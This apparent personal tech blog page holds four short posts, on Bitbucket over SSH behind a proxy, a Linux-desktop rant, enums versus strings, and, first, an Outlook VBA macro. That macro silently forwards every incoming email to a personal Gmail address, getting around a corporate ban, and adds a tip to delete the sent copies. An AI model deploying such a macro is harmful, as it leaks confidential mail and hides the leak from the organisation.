VB Script to Send Mail From Outlook

In our office we cannot create Outlook rules to forward emails outside the corporate network  (say to Gmail) automatically but you can write a VB script/Macro to do that. Although I have never done that as it might be illegal but this just explains that it is feasible!

The script basically is called whenever Outlook received a new email:

private Sub Application_NewMail()

 Dim newMail As MailItem
 Dim s As String
 Dim b As String
 Set newMail = Application.GetNamespace("MAPI").GetDefaultFolder(olFolderInbox).Items.GetLast
 s = CStr(newMail.SenderName + ": " + newMail.subject)
 b = CStr(newMail.body + "")
 Call CreateEmail(s, b)
 'later you can delete these from your sent items folder

End Sub

Sub CreateEmail(subject As String, body As String)

Dim olApp As Object
 Dim OlMail As MailItem
 Dim ToRecipient As Variant
 Dim CcRecipient As Variant

Set olApp = Application
 Set OlMail = olApp.CreateItem(olMailItem)

OlMail.Recipients.Add "<me>@gmail.com"

OlMail.subject = subject
 OlMail.body = body
 OlMail.Send

End Sub
Advertisements

Bitbucket Behind Proxy

I was having difficulty playing with Bitbucket behind the corporate proxy. Our local proxy servers alone didn’t work for me on http/https and I had to switch to the ssh solution.

This is how it worked:

  1. Created a set of keys from within the SourceTree.
  2. Launch SSH Agent. Import the private key.
  3. Upload your public key to Bitbucket site.
  4. Change the remote/origin in the SourceTree to use ssh instead of https (something like git@bitbucket.org:<username>/<project>.git. Find this from your project on the Bitbucket.
  5. Enter the proxy details in SourceTree Options.
  6. Now “push to remote” works fine in SourceTree

Why I will never install Linux on my Mac

These are the reasons why I will never install a Linux on my personal Mac or PC as the main OS, at least for now.

I have to stress that these are more of a taste and the way I use my computers and might not be an issue for other people.

I also have to say that I work with linux servers in my day to day work and love them but in the desktop world I doubt Linux has a place yet. I even have an Ubuntu desktop on another computer at work that I use for some tasks.

Now:

  • As long as there are articles in the Linux world starting with “how to install” that means things are not yet user friendly
  • All I need from linux is a terminal that I have in Mac or I can ssh to a remote linux machine
  • Linux does not have Facetime
  • Skype is dodgy in linux. You will never know whether your audio card will work in the next release of linux or not!
  • Many apps do not have proper/strong counterparts in linux or if they have it is dodgy or buggy: Libre Office crap; different messengers all buggy, either video or audio not working properly; graphics editors, nothing close to photoshop; sound editors, don’t even think about it; Evolution/Thunderbird vs Outlook haha…
  • You always have to look for the drivers. Whether my webcam, printer, this and that work in linux or not.
  • For simple tasks you have to waste your whole day on Internet searching and finally someone suggested on their weblog that you have to put a flag on a config file for that thing to work!!

I didn’t mean to hurt anyones feelings, just for a bit of laugh 😉

String Phobia in Software Development

String phobia in software development is different from the medical condition of Linonophobia!
It is when teams or individuals do not use strings and want to replace every constant with enums.
Probably using enums is acceptable if they will not really change; for example “days of the week” but if they keep changing and the component has dependencies that are affected by this change then I see no point in using enums. This is very annoying in enterprise environments where a component has a number of dependencies and a change will affect multiple silos.
The clients on the other hand can convert these string to enums if they want to.
SOA Cook Book says:
Keep the types in the canonical schemas somewhat flexible and general, as they will potentially need to absorb a variety of service entity definitions. For example, it’s probably fine to use an enumeration in a service schema, but use a string to represent that same type in a canonical schema. It is surprising how little we can actually agree on. Maybe your USState enumeration has 50 items, but maybe the enum in the schema of the service you need to integrate with includes Guam and Puerto Rico.